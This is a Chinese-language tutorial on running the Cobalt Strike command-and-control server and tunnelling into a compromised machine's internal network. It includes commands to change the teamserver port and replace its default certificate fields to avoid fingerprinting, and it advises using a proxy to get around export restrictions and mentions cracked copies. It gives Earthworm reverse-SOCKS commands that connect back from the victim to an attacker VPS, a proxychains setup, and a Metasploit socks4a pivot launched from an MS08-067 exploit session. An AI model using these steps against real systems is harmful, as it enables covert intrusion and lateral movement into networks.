cobait strike介绍
Cobalt Strike 一款以 metasploit 为基础的 GUI 的框架式渗透测试工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe 木马生成，win dll 木马生成，java 木马生成，office 宏病毒生成，木马捆绑。 钓鱼攻击包括：站点克隆，目标信息获取，java 执行，浏览器自动攻击等等。 Cobalt Strike 主要用于团队作战，可谓是团队渗透神器，能让多个攻击者同时连接到团体服务器上，共享攻击资源与目标信息和 sessions。 Cobalt Strike 据说现在最新版为 4.0，主要分为试用版和付费版，试用版为 21 天，付费版 3500 美元，网上也有一些破解教程 因为 Cobalt Strike 是美国对外限制型出口软件，只在美国和加拿大允许发售，所以我们需要 google 搜索下 usa 的个人代理来绕开限制。 当然，在使用Cobalt Strike之前，需要安装java环境，我这里服务器是ubuntu16 https://blog.csdn.net/u012707739/article/details/78489833 ./cobaltstrike时可能会遇到一万个java Exception，因为java版本不兼容，通过update-alternatives --config java切换到java8 works fine 修改cobalt strike的50050端口只需要修改teamserver文件即可
- 改端口
- nano teamserver //找到server_port 将50050 改为其他端口
- 改ssl
- 找到 ：
- CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth
- 我们给他改改比如改成
- CN=baidu, OU=google, O=bing, L=cd, S=seq, C=baidu // 值随意
一.安装与运行
Cobalt Strike 需要 JAVA 环境，需要注意的是 JAVA 环境不要安装最新版 (建议使用 Oracle JDK 1.8)，否则会出一些问题，Cobalt Strike 分为客户端和服务端可分布式操作可以协同作战。可以搭建在自己想要的环境中，服务器端想要运行在 windows 系统上。其中关键的文件是 teamserver 以及 cobaltstrike.jar，cobaltstrike.auth（4.0版本）将这三个文件放到服务器上同一个目录，然后运行： ①下载keytool.exe并将其复制到Cobaltstrike文件夹下 下载链接:http://www.onlinedown.net/soft/614989.htm ②切换到Cobaltstrike目录执行如下命令Keytool.exe -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"③执行命令
teamserver.bat 8.8.8.8 123456linux下只需要
./teamserver 192.168.3.32 test # 服务器IP 和 客户端连接密码服务运行以后，在本地输入 ./cobaltstrike 启动客户端进行连接： Password 密码框输入你设置的密码就可以了
会提示是否相信服务器证书进行连接，选是，进入Cobalt Strike 使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike->Listeners ，然后点击Add便可以创建自己想要的Listeners了
二、EW与CS配合使用
2.1 Socks概念
目前利用网络防火墙将组织内部的网络结构与外部网络如 INTERNET 中有效地隔离开来，这种方法正变得逐渐流行起来。这些防火墙系统通常以应用层网关的形式工作在网络之间，提供受控的 TELNET 、 FTP 、 SMTP 等的接入。 SOCKS 提供一个通用框架来使这些协议安全透明地穿过防火墙。 说的简单明了一点，在渗透测试中，我们使用socks技术，可以穿透进入目标机的内网，从而扩大我们的战果2.2 Cobaltstrike自带Socks功能
目标机器：win7 目标机器内网ip：192.168.0.101 Ubuntu：148.xx.xx.xx 目标机器无外网ip，可以访问公网，有内网ip,ubuntu一台是我的公网vps。 在我们beacon成功上线后，我们右键选择一个beacon->Pivoting->Socks通过SocksCap64连接设置的代理
2.3 使用ew+SocksCap穿透目标内网
Earthworm
Ew(Earthworm)是一款当之无愧的内网穿透大杀器，应用的平台非常广泛，包括：
ew_for_Win.exe 适用各种Windows系统(X86指令集、X64指令集) Windows7、Windows XP ew_for_Linux32 各常见Linux发行版 (X86 指令集 CPU) Ubuntu(X86)/BT5(X86) ew_for_linux64 各常见Linux发行版 (X64 指令集 CPU) Ubuntu(X64)/Kali(X64) ew_for_MacOSX64 MacOS系统发行版 (X64 指令集) 苹果PC电脑，苹果server ew_for_Arm32 常见Arm-Linux系统 HTC New One(Arm-Android)/小米路由器(R1D) ew_mipsel 常见Mips-Linux系统 (Mipsel指令集 CPU) 萤石硬盘录像机、小米mini路由器(R1CM)下面简单介绍一下它的应用场景，更复杂的情况在官网有介绍。 1、正向socks v5服务器 【适用于目标机拥有一个外网IP】 服务器端执行以下命令： ew.exe -s ssocksd -l 888 说明：服务器开启端口为888，SOCKS的代理。然后使用sockscap64添加这个IP的代理就可以使用了。 2、反弹socks v5服务器 【适用于目标机器没有公网IP，但可访问内网资源】 本地执行以下命令：
ew.exe -s rcsocks -l 1008 -e 888说明：该命令的意思是在我们公网VPS上添加一个转接隧道，把1080端口收到的代理请求转交给888端口。 服务器端执行以下命令：
ew.exe -s rssocks -d 2.2.2.2 -e 888说明：该命令的意思是在服务器上启动SOCKS V5服务，并反弹到IP地址为2.2.2.2的服务器888端口上。 本次环境用的是第二种 测试目标机器没有公网IP，但可访问内网资源。 ①在我们ubuntu上运行以下命令
./ew -s rcsocks -l 1260 -e 1261添加转接隧道，把1260端口收到的代理请求转给1261端口
ew.exe -s rssocks -d 148.xx.xx.xx -e 1261（148.xx.xx.xx为ubuntu）注意：这里 在本地开器SOCKS v5 服务并向服务器的1261端口发送请求，服务器就会将代理的信息发送到目标机器，（就是内网机器）
方法二：安装proxychains-ng(proxychains的升级版), proxychains无法使用Tor代理
下载地址：https://sourceforge.net/projects/proxychains-ng/files/ 不建议使用命令行下载有点慢，建议浏览器下载。之后解压并在解压目录打开命令行。 执行以下代码：./configure --prefix=/usr --sysconfdir=/etc make && make install make install-config之后配置代理链
vi /etc/proxychains.conf socks5 148.xx.xx.xx 1260
方法四：在MSF中，配置socks4隧道即可让MSF进入目标机内网大杀四方。
(2.2.2.2为ubuntu的ip，1081为socks端口)
msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 2.2.2.2
msf auxiliary(socks4a) > set SRVPORT 1081
SRVPORT => 1081
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) >